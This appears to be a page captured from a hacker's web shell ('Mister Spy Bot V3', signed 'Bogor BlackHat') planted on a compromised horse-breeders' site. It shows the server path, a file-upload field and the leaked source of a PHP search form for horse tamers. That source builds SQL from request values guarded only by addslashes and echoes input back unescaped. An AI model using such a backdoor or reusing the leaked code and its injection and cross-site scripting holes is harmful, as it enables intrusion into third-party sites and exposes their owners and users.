Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/
Upload File :
Current File : /home/caballoscriollos/www/espanol/buscar_domador.php

<?php

require_once("../funcs_email.php");
require_once("../config.php");
require_once('../Connections/cnx.php'); 
require_once("../funcs.php");

mysql_select_db($database_cnx, $cnx);

$DocumentoNumero	= (isset($_REQUEST['DocumentoNumero']))		? strval($_REQUEST['DocumentoNumero']) 		: '';
$Nombre				= (isset($_REQUEST['Nombre']))		? strval($_REQUEST['Nombre']) 		: '';
$Apellido				= (isset($_REQUEST['Apellido']))		? strval($_REQUEST['Apellido']) 		: '';
$Submit				= (isset($_REQUEST['Submitted'])) 	? $_REQUEST['Submitted']	: 0;
$Action				= (isset($_REQUEST['MainAction'])) 	? $_REQUEST['MainAction']	: '';

if ($Submit)
{
	switch ($Action)
	{
		
		case 'Buscar':
				$querySelect = "SELECT p.*";
				$querySelect.= " FROM tblDomadores p";
				$querySelect.= " WHERE 1";
				if ($DocumentoNumero && $DocumentoNumero != '')
					$querySelect.= " AND p.DocumentoNumero LIKE '%" . addslashes(trim($DocumentoNumero)) . "%' ";
				if ($Nombre && $Nombre != '')
					$querySelect.= " AND p.Nombre LIKE '%" . addslashes(trim($Nombre)) . "%' ";
				if ($Apellido && $Apellido != '')
					$querySelect.= " AND p.Apellido LIKE '%" . addslashes(trim($Apellido)) . "%' ";
				$querySelect.= " ORDER BY p.Nombre ASC";

				$sqlSelect = mysql_query($querySelect) or die(mysql_error());
			break;
		
		default:
			break;		
	}
}

?>

<div align="center"></div>

<table width="599" border="0" align="center" cellpadding="0" cellspacing="0" class="FondoBlanco">
  <tr>
    <td width="20" valign="top">&nbsp;</td>
    <td width="559" height="5" valign="top"><div align="center"></div></td>
    <td width="20" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td width="20" valign="top">&nbsp;</td>
    <td width="559" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td valign="top"><!-- InstanceBeginEditable name="Contenido" -->
<table align="center" cellpadding="0" cellspacing="0" width="100%">
    <tr>
        <td>
			<table align="center" width="100%" cellpadding="0" cellspacing="0">
				
				<tr>
                    <td height="25" background="images/accc_fondo_botonera.png" colspan="3">
                      <table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                            <tr valign="middle">
                                <td width="10" height="31">&nbsp;</td>
                              <td height="31" class="TituloPrincipal">BUSCAR DOMADOR</td>
                              <td height="31"><div align="right">&nbsp;</div></td>
                              <td width="10" height="31" class="TituloPrincipal"><div align="right"></div></td>
                        </tr>
                        </table>
                  </td>
              </tr>
				<tr>
					<td width="15">&nbsp;</td>
					<td>
						<table align="center" width="100%" cellpadding="0" cellspacing="0">							
							<tr>
								<td>&nbsp;</td>
							</tr>
                            <tr>
								<td>
									<form method="post" name="frmData" id="frmData" action="buscar_domador_resultado.php" enctype="application/x-www-form-urlencoded" class="Estilo3">
                                    	<input type="hidden" name="MainAction" id="MainAction" value="Buscar" />
                                    	<input type="hidden" name="Submitted" id="Submitted" value="1" />
									  <table width="100%" border="0" class="bordeGris">										
										<tr>
											<td height="20" colspan="3" align="left" class="tituloCategoriaMenu bordeGrisFondo" ><strong>Por favor, ingrese el n&uacute;mero de documento del domador para realizar la busqueda.</strong></td>
										</tr>
                                        <tr>
                                        	<td>&nbsp;</td>
                                        </tr>
                                        <tr>
                                        	<td>&nbsp;</td>
                                        </tr>   
										<tr>
                                        	<td width="20">&nbsp;</td>
                                        	<td><div align="left"><span class="Estilo6">N&uacute;mero Documento</span>: 
                                        	</td>
                                        	<td>
                                       	        <input type="text" name="DocumentoNumero" id="DocumentoNumero" value="<?=($DocumentoNumero != '') ? $DocumentoNumero : 'Ingrese el documento del domador que desea buscar.'?>" onfocus="javascript: BorrarCampoBuscar();" class="camposFormularioSimpleSinWidth" size="60" onkeydown="validate(this);" onkeyup="validate(this);" /> </div></td>
										</tr>  
										<tr>
                                        	<td width="20">&nbsp;</td>
                                        	<td><div align="left"><span class="Estilo6">Nombre</span>: </td>
                                        	<td>
                                       	        <input type="text" name="Nombre" id="Nombre" value="<?=($Nombre != '') ? $Nombre : ''?>" onfocus="javascript: BorrarCampoBuscar();" class="camposFormularioSimpleSinWidth" size="60" onkeydown="validate(this);" onkeyup="validate(this);" /> </div></td>
										</tr>  
										<tr>
                                        	<td width="20">&nbsp;</td>
                                        	<td><div align="left"><span class="Estilo6">Apellido</span>: </td>
                                        	<td>
                                       	        <input type="text" name="Apellido" id="Apellido" value="<?=($Apellido != '') ? $Apellido : ''?>" onfocus="javascript: BorrarCampoBuscar();" class="camposFormularioSimpleSinWidth" size="60" onkeydown="validate(this);" onkeyup="validate(this);" /> </div></td>
										</tr> 
										<tr>
                                        	<td width="20">&nbsp;</td>
											<td>&nbsp;</td>
                                        	<td><div style="float: right; margin-right: 56px">
                                       	        <input type="submit" class="botonBasicoSinWidth" value="Buscar" /></div></td>
										</tr>
									    <tr>
                                        	<td>&nbsp;</td>
                                            <td>&nbsp;</td>
                                        </tr>
                                        <tr id="DivSocios">
                                        	
                                        </tr>
                                        <tr>
                                        	<td>&nbsp;</td>
                                            <td>&nbsp;</td>
                                        </tr>
									  </table>
									</form>							  </td>
							</tr>
						</table>
					</td>
					<td width="15">&nbsp;</td>
				</tr>
				<tr>
					<td width="15">&nbsp;</td>
					<td>&nbsp;</td>
					<td width="15">&nbsp;</td>
				</tr>
			</table>		
		</td>
	</tr>
</table>            
<!-- InstanceEndEditable --></td>
        </tr>
    </table></td>
    <td width="20" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td valign="top">&nbsp;</td>
    <td valign="top">&nbsp;</td>
    <td valign="top">&nbsp;</td>
  </tr>
</table>


Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat